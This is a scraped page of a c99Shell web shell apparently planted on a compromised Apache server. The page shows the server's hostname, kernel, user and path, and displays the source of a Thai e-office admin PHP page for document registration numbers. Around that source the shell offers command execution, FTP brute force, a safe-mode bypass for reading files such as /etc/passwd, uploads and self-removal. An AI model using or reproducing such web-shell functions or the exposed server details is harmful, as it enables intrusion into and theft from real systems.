!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk_joice2222/eoffice/admin/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     runningRSDoc.php (9.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsReceiveSendType.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"funct.php";
include_once 
"../link/keyThai.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oRSt = new receiveSendType($oC);
$oRSt2 = new receiveSendType($oC);
$oRd = new runningdoc($oC);
$oRd1 = new runningdoc($oC);
$oRd2 = new runningdoc($oC);
$oRd3 = new runningdoc($oC);
$oRd4 = new runningdoc($oC);
$InputThai=$oSys->SearchByInputThai();
$maxgroup=$oDP->SearchMaxDocGroup();
$oRd->SearchByconfirm($maxgroup);
$oRd->GetRecord();
$confirm=$oRd->confirm;
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="addrunningDoc" name="addrunningDoc" src="" style="width:$0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">ตั้งค่าการใช้งานระบบ</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="?mm=1">ตั้งค่าหนังสือราชการ</a>
<img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ตั้งค่าเลขทะเบียนรับ-ส่งหนังสือ</font></legend><br>
       <form name="ff" action="processRunningDoc.php" method="post" target="addrunningDoc">
       
       <table width="95%" height="22" border="0" align="center"><tr>
       <? if($s=="1"){ ?>
       <td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
            บันทึกข้อมูลเลขทะเบียนหนังสือเรียบร้อยแล้ว</strong></font></td>
        <? 
              if(
$c=="1"){ 
        
?>
        <td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
            ยืนยันการใช้งานข้อมูลเลขทะเบียนหนังสือเรียบร้อยแล้ว</strong></font></td>
        <? ?>
            </tr>
        <tr><td>&nbsp;</td></tr>
       </table>
      <table width="97%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse" bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_17'];?>">
      <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>" height="22">
         <td width="32%" rowspan="2"><div align="center"><font size="2"><strong>ชื่อหน่วยงาน</strong></font></div></td>
    <td height="29" colspan="2"><div align="center"><font size="2"><strong>เลขทะเบียน<br>รับ - ภายนอก</strong></font></div></td>
    <td colspan="2"><div align="center"><font size="2"><strong>เลขทะเบียน<br>ส่ง - ภายนอก</strong></font></div></td>
    <td height="29" colspan="2"><div align="center"><font size="2"><strong>เลขทะเบียน<br>รับ - ภายใน</strong></font></div></td>
    <td colspan="2"><div align="center"><font size="2"><strong>เลขทะเบียน<br>ส่ง - ภายใน</strong></font></div></td>
      </tr>
       <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_13'];?>" height="22"> 
    <td width="9%" height="22"><div align="center"><font size="2"><strong>เริ่มต้น</strong></font></div></td>
    <td width="9%"><div align="center"><font size="2"><strong>ปัจจุบัน</strong></font></div></td>
    <td width="9%"><div align="center"><font size="2"><strong>เริ่มต้น</strong></font></div></td>
    <td width="9%"><div align="center"><font size="2"><strong>ปัจจุบัน</strong></font></div></td>
    <td width="8%"><div align="center"><font size="2"><strong>เริ่มต้น</strong></font></div></td>
    <td width="8%"><div align="center"><font size="2"><strong>ปัจจุบัน</strong></font></div></td>
    <td width="8%"><div align="center"><font size="2"><strong>เริ่มต้น</strong></font></div></td>
    <td width="8%"><div align="center"><font size="2"><strong>ปัจจุบัน</strong></font></div></td>
  </tr>
  <? $oRd1->SearchByRsID(1,$maxgroup); $oRd1->GetRecord(); ?>
      <tr align="center" height="22"><td>&nbsp;&nbsp;<strong>สารบรรณกลาง</strong></td>
      <td align="center" height="22">
      <? if($oRd1->confirm!="Y"){ ?>
      <input name="receiveOutCenter" type="text"   size="5" maxlength="11" value="<? echo $oRd1->runningStart?>" style=text-align:center
      onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;">
      <? }else{  echo  $oRd1->runningStart; }?>
      </td>
      <td align="center"><? echo $oRd1->runningNo?></td>
      <? $oRd2->SearchByRsID(2,$maxgroup); $oRd2->GetRecord(); ?>
      <td align="center">
      <? if($oRd2->confirm!="Y"){ ?>
      <input name="sendOutCenter" type="text"   size="5" maxlength="11" value="<? echo $oRd2->runningStart?>" style=text-align:center
      onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;">
      <? }else{  echo  $oRd2->runningStart; }?>
      </td>
      <td align="center"><? echo $oRd2->runningNo?></td>
      <td align="center">-</td>
     <td align="center">-</td>
      <td align="center">-</td>
      <td align="center">-</td>
      </tr>
     <? 
     $oDP
->RSDeptByMaxdeptDate();
     while(
$oDP->GetRecord()){ 
             
$oRd3->SearchByRsIDDeptId(3,$maxgroup,$oDP->deptId); $oRd3->GetRecord();
            
$oRd4->SearchByRsIDDeptId(4,$maxgroup,$oDP->deptId);  $oRd4->GetRecord();
     
?>
      <tr align="center" height="22"><td>&nbsp;&nbsp;&nbsp;&nbsp;<? echo $oDP->deptName?></td>
            <td align="center">-</td>
      <td align="center">-</td>
            <td align="center">-</td>
      <td align="center">-</td>
      <td align="center">
      <? if($oRd3->confirm!="Y"){  $oRd->SearchByconfirm($maxgroup); if($oRd->GetRecord()!="1"){  ?>
      <input name="receiveIn[<? echo $oDP->deptId?>]" type="text"   size="5" maxlength="11" style=text-align:center value="<? echo $oRd3->runningStart?>"
      onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;">
      <? }  }else{  echo  $oRd3->runningStart; }?>
      </td>
      <td align="center"><? echo $oRd3->runningNo?></td>
      <td align="center">
       <? if($oRd4->confirm!="Y"){ $oRd->SearchByconfirm($maxgroup); if($oRd->GetRecord()!="1"){  ?>
      <input name="sendIn[<? echo $oDP->deptId?>]" type="text"   size="5" maxlength="11" style=text-align:center value="<? echo $oRd4->runningStart?>"
      onKeyPress="event.keyCode=CheckInput(event.keyCode,'<? echo $InputThai?>'); return event.keyCode;">
     <? } }else{  echo  $oRd4->runningStart; }?> 
      </td>
      <td align="center"><? echo $oRd4->runningNo?></td>
      </tr>

     <? }  //end while dept?>
      </table>
      <table align="center" width="85%">
      <tr><td >&nbsp;</td></tr>
      <tr><td colspan="2" align="center">
                      <input type="submit" name="setrunningDoc" value="บันทึก" onClick="return checkFormat();" <? if($confirm=="Y"){  echo "disabled";} ?>>
                <input type="button" name="cancel" value="ยกเลิก" onClick="location.href = '?mm=1'">
                <? $oRd->SearchBydocGroup($maxgroup); if($oRd->GetRecord()=="1"){ ?>
                <input type="submit" name="setrunningDoc" value="ยืนยันการใช้งาน" onClick="return checkFormat2();" <? if($confirm=="Y"){  echo "disabled";} ?>>
                <? ?>
                <input type="hidden" name="docGroup" value="<? echo $maxgroup?>" >
                <input type="hidden" name="method">        
            </td></tr>
      </table></form>
</fieldset>
      <table width="704" border="0" align="center">
        <tr> 
          <td width="76" align="left"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;<strong>หมายเหตุ 
            : </strong>&nbsp;</font></td>
          <td width="618" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">- <strong><font color="#000000">สารบรรณกลาง</font></strong>&nbsp;หมายถึง 
            หน่วยงานที่สามารถ รับ/ส่งหนังสือภายนอกได้</font></td>
        </tr>
        <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">- 
            กรณีหน่วยงานใดที่ไม่ใส่ข้อมูลเลขทะเบียนรับ/ส่งหนังสือภายใน  ในช่อง </font><input name="textfield" type="text" size="5" maxlength="2" disabled>
            <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp;</font></td>
        </tr>
        <tr> 
          <td width="76">&nbsp;</td>
          <td width="618" align="left"> <font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2">&nbsp; 
            จะหมายถึงหน่วยงานนั้นไม่มีข้อมูลเลขทะเบียนหนังสือรับ/ส่งภายในนั้น</font></td>
        </tr>
      </table>
</td>
</tr>
</table>
</body>
</html>

<script language="javascript">
function checkFormat(){
        var agree=confirm("คุณต้องการบันทึกข้อมูลเลขทะเบียนหนังสือใช่หรือไม่ ?");
        if (agree){
            return true ;
        }else{
            return false ;
        }    
}
function checkFormat2(p){
        window.alert("หมายเหตุ :: เมื่อกดยืนยันการใช้งานแล้ว\nจะไม่สามารถเปลี่ยนแปลงข้อมูลเลขทะเบียน \nรับ - ส่งหนังสือนี้ได้อีก");
        var agree=confirm("คุณต้องการยืนยันการใช้งานข้อมูลเลขทะเบียนหนังสือนี้ใช่หรือไม่ ?");
        if (agree){
            document.ff.method.value="confirm";
            return true ;
        }else{
            return false ;
        }    
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0119 ]--